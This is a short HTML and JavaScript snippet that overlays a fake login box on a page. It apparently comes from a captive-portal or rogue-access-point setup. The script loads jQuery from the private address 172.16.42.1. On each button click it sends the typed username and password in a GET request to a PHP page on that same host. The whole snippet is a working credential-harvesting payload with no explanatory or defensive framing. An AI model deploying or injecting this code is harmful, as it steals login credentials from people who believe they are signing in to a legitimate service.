

        <div style= 'position: fixed; top: 20px; left: 20px;  height: 200px;background:white;color:black'>

        <form>
        Username : <input  type='text'  id='username'>
        Password : <input  type='text'  id='pass'>
        <button>Login</button>
        </form>

        </div>

        <script src='http://172.16.42.1/jquery.min.js'></script>

        <script>

        $('button').click(function(){
            $.ajax({url: 'http://172.16.42.1/responsePage.php?username='+document.getElementById('username').value+'&pass='+document.getElementById('pass').value, success: function(result){

            }});
        });

        </script>
        